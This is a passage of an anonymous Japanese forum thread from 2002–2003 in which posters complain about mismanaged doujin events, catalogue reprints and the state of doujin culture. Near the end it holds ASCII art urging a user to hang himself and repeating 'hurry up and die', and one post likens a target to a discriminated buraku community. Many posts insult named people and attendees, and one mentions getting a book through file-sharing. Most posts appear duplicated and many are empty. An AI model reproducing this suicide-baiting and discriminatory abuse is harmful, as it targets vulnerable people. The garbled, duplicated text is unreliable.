意義もなんにもない、やっただけのイベントだったな。
最後までシラを切り通した分、人の恨みを買ってるっていうか（ｗ
805 ：名無しさん＠どーでもいいことだが。：02/12/16 15:16 ID:u8Dd72n+
806 ：名無しさん＠どーでもいいことだが。：02/12/16 15:27 ID:u8Dd72n+
誤解無き様に言っておくけど、ハトコミが有った事で
リアルこみパが美化されているのが何だかおかしいんじゃないのか？
と思っている。定量的にはそうではないにもかかわらず、一番最近の出来事が最悪
に感じているだけではないのか、と。
個人的所感では、運営自体は同じくらい行き当たりばったりで、より酷い目に
遭わされたのがこみパだった。
ハトコミは友人のサークルに借り物の受け渡しに行っただけだから
あんまり腹も立たなかったというのも有るだろうけど。
リアルこみパが美化されているのが何だかおかしいんじゃないのか？
と思っている。定量的にはそうではないにもかかわらず、一番最近の出来事が最悪
に感じているだけではないのか、と。
個人的所感では、運営自体は同じくらい行き当たりばったりで、より酷い目に
遭わされたのがこみパだった。
ハトコミは友人のサークルに借り物の受け渡しに行っただけだから
あんまり腹も立たなかったというのも有るだろうけど。
807 ：名無しさん＠どーでもいいことだが。：02/12/16 15:55 ID:YBMo0ID2
>>805
あのカタログはリーフスタッフ本を兼ねてたからな。
イベント後、増刷を批判する声が上がったが323、甘露抜きで
レヴォより人が来るなんて読めてたら天才。
あんなに人が来るの俺はコミケ以外で初めて見たよ。
あのカタログはリーフスタッフ本を兼ねてたからな。
イベント後、増刷を批判する声が上がったが323、甘露抜きで
レヴォより人が来るなんて読めてたら天才。
あんなに人が来るの俺はコミケ以外で初めて見たよ。
808 ：名無しさん＠どーでもいいことだが。：02/12/16 16:19 ID:u8Dd72n+
>>807
それは一寸苦しいな。スタッフ本だとすれば
サークルカット部分は何なのよ？埋め草か？
その言い訳が通るならハトコミカタログだって
「トレカ付きポスターなんだから、買ったからって
本当に一般参加者が会場に来るとは思わなかった」
と言われてもしょうがないよ。
イベント前に増刷に増刷を重ねたんだから、最大で
そのカタログ分だけ人が来る可能性は考えるべきだった、
というのが当時の結論だったろ。
それは一寸苦しいな。スタッフ本だとすれば
サークルカット部分は何なのよ？埋め草か？
その言い訳が通るならハトコミカタログだって
「トレカ付きポスターなんだから、買ったからって
本当に一般参加者が会場に来るとは思わなかった」
と言われてもしょうがないよ。
イベント前に増刷に増刷を重ねたんだから、最大で
そのカタログ分だけ人が来る可能性は考えるべきだった、
というのが当時の結論だったろ。
809 ：名無しさん＠どーでもいいことだが。：02/12/16 17:14 ID:48+6/hkD
ひと月以上経つのにレスが止まらないところがやっぱスゴい。
（レヴォスレなんか開催後すぐ人が引くぜ？）
（レヴォスレなんか開催後すぐ人が引くぜ？）
810 ：名無しさん＠どーでもいいことだが。：02/12/16 17:28 ID:vtLwAiKD
>>808
ハトコミは見込みほど人が来なかったそうだな。
ハトコミは見込みほど人が来なかったそうだな。
811 ：名無しさん＠どーでもいいことだが。：02/12/16 18:11 ID:wO+me+Yu
だから、一人で何冊も買った奴がいたからだろうが。
後はリアルこみパの教訓を生かして行かなかった奴が多かっただけ。
カタログの総数からすればあんなもんだろ。
後はリアルこみパの教訓を生かして行かなかった奴が多かっただけ。
カタログの総数からすればあんなもんだろ。
812 ：名無しさん＠どーでもいいことだが。：02/12/16 18:36 ID:Xh2zpwnB
ID:u8Dd72n+
なにをさっきから必死な（ｗ
なにをさっきから必死な（ｗ
813 ：名無しさん＠どーでもいいことだが。：02/12/16 19:58 ID:zddChBDn
814 ：名無しさん＠どーでもいいことだが。：02/12/16 20:06 ID:EKJ5frHt
815 ：名無しさん＠どーでもいいことだが。：02/12/16 21:22 ID:zTbDotO3
>>814
わざわざＩＤ変えてご苦労なこった（ｗ
わざわざＩＤ変えてご苦労なこった（ｗ
816 ：名無しさん＠どーでもいいことだが。：02/12/16 21:31 ID:pphe1kC+
>804
安全に終わったの？＞ハトコミ
けが人でたんじゃないの？
詳しい事は分からないけど、タオルを血で真っ赤に染めてあわてて出て行くヤシを見たんだけど…
安全に終わったの？＞ハトコミ
けが人でたんじゃないの？
詳しい事は分からないけど、タオルを血で真っ赤に染めてあわてて出て行くヤシを見たんだけど…
817 ：名無しさん＠どーでもいいことだが。：02/12/16 22:07 ID:sU5Gys1V
ハトコミの酷さは階級差別を公然と打ち出しスタッフ（例・横田守氏の手先）や
サークル（例・神聖マルチ王国管理人、残虐行為手当ブレイン）による
非連合的な形での仲間内即売会主義であってそういう権力者（主催・一部サークル参加者）
階級のエゴが剥き出しになったという点で邪悪さの表徴といった種類の酷さが見られる。
でもまあ協賛サークルだのカタログだの被害が出ない段階から
シグナルは見えていた。これでなお並ぶ奴は…なんと言えばいいのかな…
ただ鳩コミでの問題は同人業界構造上の現段階での普遍的かつ抽象的な問題であって
素人スタッフ・体感での不快度マックス・すし詰め状態・実際に発生したトラブル
といった表面化した問題が多すぎるコミパよりは参加者には全然ましなイベントだろう。
コミパの方がよかったと言ってる奴は一般参加者として異質なほど
大局的見地から発言しているか何度も詐欺に会う馬鹿だな。
サークル（例・神聖マルチ王国管理人、残虐行為手当ブレイン）による
非連合的な形での仲間内即売会主義であってそういう権力者（主催・一部サークル参加者）
階級のエゴが剥き出しになったという点で邪悪さの表徴といった種類の酷さが見られる。
でもまあ協賛サークルだのカタログだの被害が出ない段階から
シグナルは見えていた。これでなお並ぶ奴は…なんと言えばいいのかな…
ただ鳩コミでの問題は同人業界構造上の現段階での普遍的かつ抽象的な問題であって
素人スタッフ・体感での不快度マックス・すし詰め状態・実際に発生したトラブル
といった表面化した問題が多すぎるコミパよりは参加者には全然ましなイベントだろう。
コミパの方がよかったと言ってる奴は一般参加者として異質なほど
大局的見地から発言しているか何度も詐欺に会う馬鹿だな。
818 ：名無しさん＠どーでもいいことだが。：02/12/16 22:40 ID:RhOowfPa
つまり、コミパではそれなりに買えたんですか？
820 ：名無しさん＠どーでもいいことだが。：02/12/16 23:40 ID:xrLFc2FC
こみパでは323が（表向き）出展してなかったからかしら？＜不満の数の差異
821 ：名無しさん＠どーでもいいことだが。：02/12/17 07:00 ID:QEcEn78y
>>817
どちらかというと何度でも詐欺に会う馬鹿です。
>>819
大手、中堅は似たようなもんです。普通に買えなかったです。
なんと言ってもハトコミは悪意の塊だったから。入り口から323＆グッズへの
動線の引き方なんか、まさに悪魔的です。何度でも詐欺に会う馬鹿が
まるで誘蛾灯に誘われる昆虫のように、真空管内に放出された電子が
陽極に向かうように、ほぼ全てがそのまま外の列に吸い込まれていったから。
あれがカタログ分だけ人が来た場合の対策だったとしたら…相当寒い事態に
なったでしょう。そうなればグッズは部数制限したでしょうけど。あの部数無制限は
予想より人が並んでないのを見て、慌てて決めたんじゃないでしょうか…
同人の構造的問題ってのは時間が解決すると思ってます。何せ担い手の若年層の人口が
どんどん減っているんですから。40、50になって、仕事や家庭があって、それでも
この世界にしがみついていられる買い手はそうそう居ないでしょう。同人で食ってた描き手の方は
他に行き場が有るのかどうかは知らないですが。
どちらかというと何度でも詐欺に会う馬鹿です。
>>819
大手、中堅は似たようなもんです。普通に買えなかったです。
なんと言ってもハトコミは悪意の塊だったから。入り口から323＆グッズへの
動線の引き方なんか、まさに悪魔的です。何度でも詐欺に会う馬鹿が
まるで誘蛾灯に誘われる昆虫のように、真空管内に放出された電子が
陽極に向かうように、ほぼ全てがそのまま外の列に吸い込まれていったから。
あれがカタログ分だけ人が来た場合の対策だったとしたら…相当寒い事態に
なったでしょう。そうなればグッズは部数制限したでしょうけど。あの部数無制限は
予想より人が並んでないのを見て、慌てて決めたんじゃないでしょうか…
同人の構造的問題ってのは時間が解決すると思ってます。何せ担い手の若年層の人口が
どんどん減っているんですから。40、50になって、仕事や家庭があって、それでも
この世界にしがみついていられる買い手はそうそう居ないでしょう。同人で食ってた描き手の方は
他に行き場が有るのかどうかは知らないですが。
822 ：名無しさん＠どーでもいいことだが。：02/12/17 09:09 ID:yWR5kuyn
823 ：名無しさん＠どーでもいいことだが。：02/12/17 09:18 ID:qSY5nD74
喉元過ぎれば熱さを忘れる。人間なんてそんなものです。
今まで気付かないフリをしていたのか、本当に気付いていなかったのか。
面と向かって言われないと文句も言えなかったということかな。
同人なんてここ10年位そんなものだったろう、売り手と買い手の関係なんて。
>>821
今の20～30位のオタってどういうときにオタ辞めるのかな…
それしかない人生送ってる奴も結構いそうだし。
夢を見果てた時に何が残るのか…
今まで気付かないフリをしていたのか、本当に気付いていなかったのか。
面と向かって言われないと文句も言えなかったということかな。
同人なんてここ10年位そんなものだったろう、売り手と買い手の関係なんて。
>>821
今の20～30位のオタってどういうときにオタ辞めるのかな…
それしかない人生送ってる奴も結構いそうだし。
夢を見果てた時に何が残るのか…
824 ：名無しさん＠どーでもいいことだが。：02/12/17 10:58 ID:vqyyo0wr
825 ：名無しさん＠どーでもいいことだが。：02/12/17 10:58 ID:yAxW/wmx
同人って元々コピー文化的側面は大きかったけど、最近は絵柄パクリだらけ
だよな、男性向け。これから先、大きなうねりを興せるような新しい才能
って出てくるんだろうか。また、出てこれるような環境を作っているだろうか。
即売会側も買い手側も全然そんなこと考えていないのは確かだし。
かの三崎たんだって、口だけ立派で行動は正反対だ。
10年ちょっとこの世界を見てきたけど、10年先に何が残っているのかな。
だよな、男性向け。これから先、大きなうねりを興せるような新しい才能
って出てくるんだろうか。また、出てこれるような環境を作っているだろうか。
即売会側も買い手側も全然そんなこと考えていないのは確かだし。
かの三崎たんだって、口だけ立派で行動は正反対だ。
10年ちょっとこの世界を見てきたけど、10年先に何が残っているのかな。
826 ：名無しさん＠どーでもいいことだが。：02/12/17 11:25 ID:3rzUfLVl
エロゲンガーだけは豊富になりました。
827 ：名無しさん＠どーでもいいことだが。：02/12/17 11:30 ID:yAxW/wmx
828 ：名無しさん＠どーでもいいことだが。：02/12/17 11:49 ID:DgNwSalB
>827
多分、後20年すればエロゲやる40代や50代も出てくるだろう。
テレビゲームやる40代や、ガンダムのプラモデル作る30代なんて、
20年前には考えられなかったんだから。
多分、後20年すればエロゲやる40代や50代も出てくるだろう。
テレビゲームやる40代や、ガンダムのプラモデル作る30代なんて、
20年前には考えられなかったんだから。
829 ：名無しさん＠どーでもいいことだが。：02/12/17 12:36 ID:5l1lee2B
830 ：名無しさん＠どーでもいいことだが。：02/12/17 12:38 ID:BZR2ACwL
>>829
今の状況を見てるとありえん話ではない罠。
今の状況を見てるとありえん話ではない罠。
831 ：名無しさん＠どーでもいいことだが。：02/12/17 12:55 ID:J0OmtXxG
皆もやりつづけるだろうと思うから、俺もこのままでもいいやって
レミングみたいな安心の仕方をする人がたくさんいる板はここですか？
レミングみたいな安心の仕方をする人がたくさんいる板はここですか？
832 ：名無しさん＠どーでもいいことだが。：02/12/17 13:07 ID:odkCBYcJ
スレじゃなくてか？
833 ：名無しさん＠どーでもいいことだが。：02/12/17 14:07 ID:yAxW/wmx
834 ：名無しさん＠どーでもいいことだが。：02/12/17 15:55 ID:uJ4MYphv
>>831
逆に笑い者ですね。ご愁傷様。
逆に笑い者ですね。ご愁傷様。
835 ：名無しさん＠どーでもいいことだが。：02/12/17 22:44 ID:kJq7N9Hj
問題の焦点がずれている。
10年先などいい。問題はﾍｲﾄﾌﾙｺﾐｭﾆｹｰｼｮﾝﾌﾞﾚｲｸﾀﾞｳﾝという
最近あった非人道的な実験のことだ。
10年先などいい。問題はﾍｲﾄﾌﾙｺﾐｭﾆｹｰｼｮﾝﾌﾞﾚｲｸﾀﾞｳﾝという
最近あった非人道的な実験のことだ。
836 ：名無しさん＠どーでもいいことだが。：02/12/17 22:51 ID:ifztqmWE
ネタが語りつくされた感があるからな
もうそれに対してどういう行動を取るべきか、という部分以外に
あまり言う事もない気がする。
もっとも部分を抜き出して叩く香具師が多すぎて焦点を絞っていけんというのもあるが
もうそれに対してどういう行動を取るべきか、という部分以外に
あまり言う事もない気がする。
もっとも部分を抜き出して叩く香具師が多すぎて焦点を絞っていけんというのもあるが
837 ：名無しさん＠どーでもいいことだが。：02/12/18 00:21 ID:hEVUmWq0
838 ：名無しさん＠どーでもいいことだが。：02/12/18 01:27 ID:xurKsf6a
神聖マルチ王国、今度はＭ－１問題で暴れてるよ・・・
839 ：名無しさん＠どーでもいいことだが。：02/12/18 07:05 ID:7V10P1gF
ってかまだハトコミの話なんかしてるのか。
一番の口だけのやつはおまえらじゃん。
一番の口だけのやつはおまえらじゃん。
840 ：名無しさん＠どーでもいいことだが。：02/12/18 08:13 ID:zB9744Zn
841 ：名無しさん＠どーでもいいことだが。：02/12/18 09:23 ID:9nndrUiz
とはいえ、ハトコミ、のみに限定してたら問題の大元の話は出来ないような。
叩かれてる各個人の問題じゃないんだよ。今の構造的な問題なんだから、
誰かを叩いて見せしめ/反省させたところで状況は変わらないし、ましてや
叩いてガス抜きになるようだったらなおさら意味が無い。
構造的な問題については別スレ立ててやった方が良いかもしれないけど。
叩かれてる各個人の問題じゃないんだよ。今の構造的な問題なんだから、
誰かを叩いて見せしめ/反省させたところで状況は変わらないし、ましてや
叩いてガス抜きになるようだったらなおさら意味が無い。
構造的な問題については別スレ立ててやった方が良いかもしれないけど。
842 ：bloom：02/12/18 09:27 ID:FaA9TeQZ
843 ：名無しさん＠どーでもいいことだが。：02/12/18 09:35 ID:/bxbwOGR
844 ：名無しさん＠どーでもいいことだが。：02/12/18 21:28 ID:3pMr8H3x
自分が書いた文章の意味さえも計れないとは、真性はその名の通り・・・
真性のヲチスレってもうあるの？
真性のヲチスレってもうあるの？
845 ：名無しさん＠どーでもいいことだが。：02/12/18 23:48 ID:GqsCWOzT
>843
つーか年齢２桁なら無問題と思ってしまう俺は終了済み
つーか年齢２桁なら無問題と思ってしまう俺は終了済み
846 ：名無しさん＠どーでもいいことだが。：02/12/19 01:06 ID:j57FAqCz
真性なんざほっとけよ。粘着君。
ただ思ったことをそのまま書くだけのガキなんだからさ。
もっと怖いのは思ってても黙って密かに実行し続けてるやつらだ。
ただ思ったことをそのまま書くだけのガキなんだからさ。
もっと怖いのは思ってても黙って密かに実行し続けてるやつらだ。
847 ：名無しさん＠どーでもいいことだが。：02/12/19 01:14 ID:MOzWNGoy
>>846
例えば誰？
例えば誰？
848 ：名無しさん＠どーでもいいことだが。：02/12/19 05:02 ID:8vWEBlDU
849 ：名無しさん＠どーでもいいことだが。：02/12/19 05:34 ID:Z1PDVCgN
黙ってる奴よりおもしろいことを言う奴のほうが話題になるのはしょうがないわな
850 ：名無しさん＠どーでもいいことだが。：02/12/19 10:11 ID:nUb5f4Lx
真性は良いネタ提供者だよな(w
被差別部落みたいなもんだ。叩かせとけば不満が他に向かない。
お前ら疥癬は一生搾取されてなさいってこった。
時々スケープゴートは提供してやるよ。
被差別部落みたいなもんだ。叩かせとけば不満が他に向かない。
お前ら疥癬は一生搾取されてなさいってこった。
時々スケープゴートは提供してやるよ。
851 ：名無しさん＠どーでもいいことだが。：02/12/19 10:46 ID:nUb5f4Lx
って思われてるよ。
852 ：名無しさん＠どーでもいいことだが。：02/12/19 12:10 ID:nZAP/ea5
う～ん、俺は3日目ｻｸﾙ参加で自スペから出られないから、ここで挙がったｻｸﾙには
まず行けないなあ。でもM崎たんの本だけちょっと見てみたいような気がする。
まず行けないなあ。でもM崎たんの本だけちょっと見てみたいような気がする。
853 ：名無しさん＠どーでもいいことだが。：02/12/19 15:15 ID:0IGppIj+
854 ：名無しさん＠どーでもいいことだが。：02/12/19 17:00 ID:SrCkx9Ux
M崎ﾀﾝって何の仕事してるの？
855 ：名無しさん＠どーでもいいことだが。：02/12/20 00:31 ID:uFodv09V
描き手も疥癬も本当に危機感無いのな。
856 ：名無しさん＠どーでもいいことだが。：02/12/20 02:23 ID:+Zxv46Ty
>>855
ゲームで言う”アタリショック”的なものがあれば変わらざるを得ないのだがな。
ゲームで言う”アタリショック”的なものがあれば変わらざるを得ないのだがな。
857 ：名無しさん＠どーでもいいことだが。：02/12/20 04:59 ID:Sp04g+gC
”アタリショック”って、クソゲーが乱発されたために
当時のアメリカ家庭用ゲーム業界が瀕死になったってヤツだろ？
でも、同人の場合、即売会自体がどんなにダメダメでも
アタリショックにはならんだろ。この場合ゲームソフトに
あたるのは即売会で手に入る「同人誌」なわけでは？
そりゃクソな同人誌ばかりになればアタリショックも起きる
かもしれんが、即売会は例えるならゲームショップや
問屋みたいなもんで、そこの店員が客への接客態度が悪くて
ムカつこうが、新作ゲームを店頭に並ぶ前にガメていようが、
やっぱドラクエなりなんなりの人気ゲームが出るなら
（泣く泣く）買いには行くわけでな～。
まぁゲーム屋だったら他の店に鞍替えするという対抗手段も
あるけど、即売会の場合はそうもいかんしな。
当時のアメリカ家庭用ゲーム業界が瀕死になったってヤツだろ？
でも、同人の場合、即売会自体がどんなにダメダメでも
アタリショックにはならんだろ。この場合ゲームソフトに
あたるのは即売会で手に入る「同人誌」なわけでは？
そりゃクソな同人誌ばかりになればアタリショックも起きる
かもしれんが、即売会は例えるならゲームショップや
問屋みたいなもんで、そこの店員が客への接客態度が悪くて
ムカつこうが、新作ゲームを店頭に並ぶ前にガメていようが、
やっぱドラクエなりなんなりの人気ゲームが出るなら
（泣く泣く）買いには行くわけでな～。
まぁゲーム屋だったら他の店に鞍替えするという対抗手段も
あるけど、即売会の場合はそうもいかんしな。
858 ：名無しさん＠どーでもいいことだが。：02/12/20 06:49 ID:UTI8f02P
地方は既にアタリショックですが何か？
859 ：名無しさん＠どーでもいいことだが。：02/12/20 08:00 ID:3xgP60yE
>>857
その、同人誌がショボいことをアタリショックに例えているんではないか？
その、同人誌がショボいことをアタリショックに例えているんではないか？
860 ：名無しさん＠どーでもいいことだが。：02/12/20 11:21 ID:s5aodFNj
最近はどこでも、自分の脳を使わずに書き込みする奴が増えたな。
861 ：名無しさん＠どーでもいいことだが。：02/12/20 12:29 ID:u6Zz0lao
最近はどこでも、自分の脳を使わずに即売会に来る奴が増えたな。
862 ：名無しさん＠どーでもいいことだが。：02/12/20 13:00 ID:6JCXQEp+
また共食いか
863 ：名無しさん＠どーでもいいことだが。：02/12/20 20:30 ID:GKSJsCrI
同人誌即売会はあまり盛況とは言えん状況だしな。
売れてるのは所詮エロ同人。
機能的に不全であるのも主にこちらだしな。
それに、エロが含まれている段階でアタリショックは難しいかと。
売れてるのは所詮エロ同人。
機能的に不全であるのも主にこちらだしな。
それに、エロが含まれている段階でアタリショックは難しいかと。
864 ：名無しさん＠どーでもいいことだが。：02/12/21 13:21 ID:2rWCqDym
865 ：名無しさん＠どーでもいいことだが。：02/12/22 01:46 ID:fH2Bvzkk
へきるの掲示板にぜくう出現
866 ：名無しさん＠どーでもいいことだが。：02/12/22 01:56 ID:yZMjGpJX
>>865
アドレス希望
アドレス希望
867 ：名無しさん＠どーでもいいことだが。：02/12/22 10:07 ID:VsL4V7wH
へきるんところは非武装中立地帯だから絡むに絡めん。
ま、調子に乗って入り浸りやがったらテキトーに叩きはじめるが。
ま、調子に乗って入り浸りやがったらテキトーに叩きはじめるが。
868 ：名無しさん＠どーでもいいことだが。：02/12/22 13:23 ID:lPFHo6RG
>>865
ＺＱＮ、声優（って呼んじゃアカンのか？へきるってｗ）好っきゃねぇ。
ＺＱＮ、声優（って呼んじゃアカンのか？へきるってｗ）好っきゃねぇ。
869 ：名無しさん＠どーでもいいことだが。：02/12/22 13:50 ID:08+Bwanw
急いで消して！
Date：02/12/21 20:21:46Name：ぜくやんDelete?
見たよ！ ケロヤン！
めっちゃ怖ええ…。よく食べたね、あんな宇宙の食べ物。
無事確認したので画像は急いで消してＯＫｗ
ああ、ちなみにライダー占いやってみました。
占った結果、ぜくうさんの運命は＜ファイナルベント・デスバニッシュ＞と出ました。
実業家のベルデ、しがない占い師のライア、
相反する２つのキャラクターがユナイトしたデスバニッシュはこの占いのいわばジョーカーです。
あなたの未来が見えません。
おそらく大吉か大凶かどちらかの運命が待ち受けているのかも…？
ラッキーコミック＝キン肉マン
だってさ？ どう？ｗ
※ケロヤン：へきるのサイトのTOPに貼ってあるチョコボールバナナ味
>868
そのへきるとちゃう(藁
Date：02/12/21 20:21:46Name：ぜくやんDelete?
見たよ！ ケロヤン！
めっちゃ怖ええ…。よく食べたね、あんな宇宙の食べ物。
無事確認したので画像は急いで消してＯＫｗ
ああ、ちなみにライダー占いやってみました。
占った結果、ぜくうさんの運命は＜ファイナルベント・デスバニッシュ＞と出ました。
実業家のベルデ、しがない占い師のライア、
相反する２つのキャラクターがユナイトしたデスバニッシュはこの占いのいわばジョーカーです。
あなたの未来が見えません。
おそらく大吉か大凶かどちらかの運命が待ち受けているのかも…？
ラッキーコミック＝キン肉マン
だってさ？ どう？ｗ
※ケロヤン：へきるのサイトのTOPに貼ってあるチョコボールバナナ味
>868
そのへきるとちゃう(藁
870 ：名無しさん＠どーでもいいことだが。：02/12/22 13:54 ID:/m8AB890
>>868
ﾜﾗﾀ
ﾜﾗﾀ
あ、ゴメン。緋皮の方か。恥ずかしい～！みやむーのジャーマネやってるから
てっきりあっちかと思いますた。
てっきりあっちかと思いますた。
872 ：名無しさん＠どーでもいいことだが。：02/12/23 01:11 ID:6Wb4s7qV
＞あなたの未来が見えません。
＞おそらく大吉か大凶かどちらかの運命が待ち受けているのかも…？
大凶です。
＞おそらく大吉か大凶かどちらかの運命が待ち受けているのかも…？
大凶です。
873 ：名無しさん＠どーでもいいことだが。：02/12/23 01:27 ID:KMzRXBmh
874 ：名無しさん＠どーでもいいことだが。：02/12/24 04:09 ID:i57RTHU6
利益は商業的に、責任は同人的に
875 ：名無しさん＠どーでもいいことだが。：02/12/24 08:26 ID:fMflVPPo
そうでもなきゃ誰が社会不適合者が大半を占める愚民の群を相手にするもんかね？(w
なんでこのイベントの一般行列に並ぼうと考えたのか、その時の自分の心理を思い出してみな（藁
なんでこのイベントの一般行列に並ぼうと考えたのか、その時の自分の心理を思い出してみな（藁
876 ：名無しさん＠どーでもいいことだが。：02/12/24 08:36 ID:tKKel1kC
みんな飽きた?
877 ：名無しさん＠どーでもいいことだが。：02/12/24 14:05 ID:1LfIOuZa
ん～ん～、まだ♪
878 ：名無しさん＠どーでもいいことだが。：02/12/24 17:52 ID:sF2iQFZ5
まあ875が居る限り、このスレも 安 泰 だ な 。
879 ：名無しさん＠どーでもいいことだが。：02/12/25 00:01 ID:Vvh1smUs
3スレ前位だったら釣れに釣れただろうなぁ…
ま、でも行った奴が馬鹿というのは開催前から言われてて、
やっぱり言った奴は馬鹿だったというのは本当だな。
ま、でも行った奴が馬鹿というのは開催前から言われてて、
やっぱり言った奴は馬鹿だったというのは本当だな。
880 ：名無しさん＠どーでもいいことだが。：02/12/25 08:36 ID:engc3rKC
>>879
実際そうだな。このスレと違って、ハトコミはリアルで馬鹿を釣ったという事か。
実際そうだな。このスレと違って、ハトコミはリアルで馬鹿を釣ったという事か。
881 ：名無しさん＠どーでもいいことだが。：02/12/25 13:29 ID:kpuuE8jv
>>880
ま、釣ったヤシも馬鹿なんだけどな。
ま、釣ったヤシも馬鹿なんだけどな。
882 ：名無しさん＠どーでもいいことだが。：02/12/25 13:59 ID:HKw+Rc4N
レスしてる我々も？
883 ：名無しさん＠どーでもいいことだが。：02/12/25 15:15 ID:dz/Z4Q0/
>883
ま、オマエみたいな馬鹿が釣れるように書いた俺も馬鹿だが、
ものの見事につられたオマエはもっと馬鹿。
しかし、さらにレスを付けてしまう俺はもっと馬鹿ってこった(つдT)ｳｯｳｯ
ま、オマエみたいな馬鹿が釣れるように書いた俺も馬鹿だが、
ものの見事につられたオマエはもっと馬鹿。
しかし、さらにレスを付けてしまう俺はもっと馬鹿ってこった(つдT)ｳｯｳｯ
885 ：名無しさん＠どーでもいいことだが。：02/12/25 16:19 ID:9EhhC1G/
ようするに、躍らなきゃ損ってことですね？
／￣￣￣￣￣＼
| おまえらも |
∩_∩ | |
（´ー`） < 暇な奴ら |
（ ） | |
| | | | だなぁ |
（___）__） ＼＿＿＿＿＿／
カタログチェックは済んだのか？
お気に入りｻｸｰﾙのHP上での新刊情報は？
共同購入の算段は？
| おまえらも |
∩_∩ | |
（´ー`） < 暇な奴ら |
（ ） | |
| | | | だなぁ |
（___）__） ＼＿＿＿＿＿／
カタログチェックは済んだのか？
お気に入りｻｸｰﾙのHP上での新刊情報は？
共同購入の算段は？
887 ：名無しさん＠どーでもいいことだが。：02/12/26 07:21 ID:l3zDOOyd
>886
全部終わった。
もうすでに、ワシントンに泊まっています。
全部終わった。
もうすでに、ワシントンに泊まっています。
888 ：名無しさん＠どーでもいいことだが。：02/12/26 08:24 ID:P8zJ3FY+
俺なんてモスクワに泊まってる。
889 ：名無しさん＠どーでもいいことだが。：02/12/26 10:20 ID:dPbE33qz
俺なんて北朝鮮に泊まってる。
890 ：名無しさん＠どーでもいいことだが。：02/12/26 17:48 ID:x6X8j0qB
900
891 ：名無しさん＠どーでもいいことだが。：02/12/26 17:51 ID:x6X8j0qB
889を900と見間違えた....。
鬱氏
鬱氏
892 ：名無しさん＠どーでもいいことだが。：02/12/26 18:12 ID:Xaj/gvuB
>>891
にしまたの絵とみつみの絵を見間違うくらいの視力だな。
にしまたの絵とみつみの絵を見間違うくらいの視力だな。
893 ：名無しさん＠どーでもいいことだが。：02/12/27 08:19 ID:S3dBRkeI
これも是空プロデュースだよ
http://axia-info.com/index01.htm
http://axia-info.com/index01.htm
894 ：名無しさん＠どーでもいいことだが。：02/12/27 09:57 ID:rQpT5fGj
あのメンバーにZQNが入っているのは、もはや犯罪だな。
895 ：名無しさん＠どーでもいいことだが。：02/12/28 16:26 ID:XVdB7jJ+
ZQNは自分のプロデュースしたトレカに自分の絵を混ぜてるのか?
それでプロ作家の仲間入りになったつもりなら
めでたいを通り越して哀れだな。
それでプロ作家の仲間入りになったつもりなら
めでたいを通り越して哀れだな。
896 ：名無しさん＠どーでもいいことだが。：02/12/28 18:14 ID:1ZseQDH/
>>895
安心しろ、お前が言うまでも無く哀れだから。
安心しろ、お前が言うまでも無く哀れだから。
897 ：名無しさん＠どーでもいいことだが。：02/12/29 00:06 ID:HsfW2fKV
先ほど、カッタのﾊﾄｺﾐ新刊をＭＸで手に入れました。
もうハトコミはどうでもいいや。
もうハトコミはどうでもいいや。
898 ：名無しさん＠どーでもいいことだが。：03/01/01 10:14 ID:+FSCxbza
３０日、ＭＱＮのスペースに２時ごろ行ったら、誰もいませんでした。
行った人いる？
行った人いる？
899 ：名無しさん＠どーでもいいことだが。：03/01/02 09:39 ID:gBWhMtfL
そんな暇なかった。つーか完全に火が消えたね、予想通り。
また似たようなイベントが開かれる日も近いのかな…
また似たようなイベントが開かれる日も近いのかな…
900 ：名無しさん＠どーでもいいことだが。：03/01/02 10:23 ID:kfyw64gG
イワエモンの本、3日目も委託で売ってたね。
イワエモンの人気の火も消えたのかな？
イワエモンの人気の火も消えたのかな？
／￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣＼
Λ＿Λ | 君さぁ こんなスレッド立てるから |
（ ´∀｀）＜ 厨房って言われちゃうんだよ |
（ ΛΛ つ ＞―――――――――――――――――――‐＜
( ﾟДﾟ) ＜ おまえのことを必要としてる奴なんて |
/つつ | いないんだからさっさと回線切って首吊れ |
＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿_／
(-＿-) ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-) ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-) ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) (∩∩) (∩∩)
(-＿-) ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-) ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-) ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) (∩∩) (∩∩)
(-＿-) ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-) ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-) ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) (∩∩) (∩∩)
Λ＿Λ | 君さぁ こんなスレッド立てるから |
（ ´∀｀）＜ 厨房って言われちゃうんだよ |
（ ΛΛ つ ＞―――――――――――――――――――‐＜
( ﾟДﾟ) ＜ おまえのことを必要としてる奴なんて |
/つつ | いないんだからさっさと回線切って首吊れ |
＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿_／
(-＿-) ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-) ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-) ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) (∩∩) (∩∩)
(-＿-) ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-) ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-) ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) (∩∩) (∩∩)
(-＿-) ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-) ﾊﾔｸｼﾝﾃﾞﾈ… (-＿-) ﾊﾔｸｼﾝﾃﾞﾈ…
(∩∩) (∩∩) (∩∩)
902 ：名無しさん＠どーでもいいことだが。：03/01/03 05:34 ID:olQOZqqx
903 ：名無しさん＠どーでもいいことだが。：03/01/03 09:52 ID:75joI78h
ニガヨモギの新刊が、微妙にハトコミをクサしていた。
少し胸がスッキリした。
少し胸がスッキリした。
904 ：名無しさん＠どーでもいいことだが。：03/01/05 11:35 ID:g5M8LNX6
忘れない。ずっと覚えてる。
905 ：名無しさん＠どーでもいいことだが。：03/01/05 23:03 ID:33/ZhhPb
>>903
詳細ｷﾎﾞﾝ
詳細ｷﾎﾞﾝ
906 ：名無しさん＠どーでもいいことだが。：03/01/06 01:09 ID:+WSZKcIq
もう風化
907 ：名無しさん＠どーでもいいことだが。：03/01/06 15:53 ID:y8viM9tA
そしてまた歴史は繰り返される・・・悪循環よのぅ(;´Д`)
908 ：名無しさん＠どーでもいいことだが。：03/01/06 17:40 ID:khCXhjDi
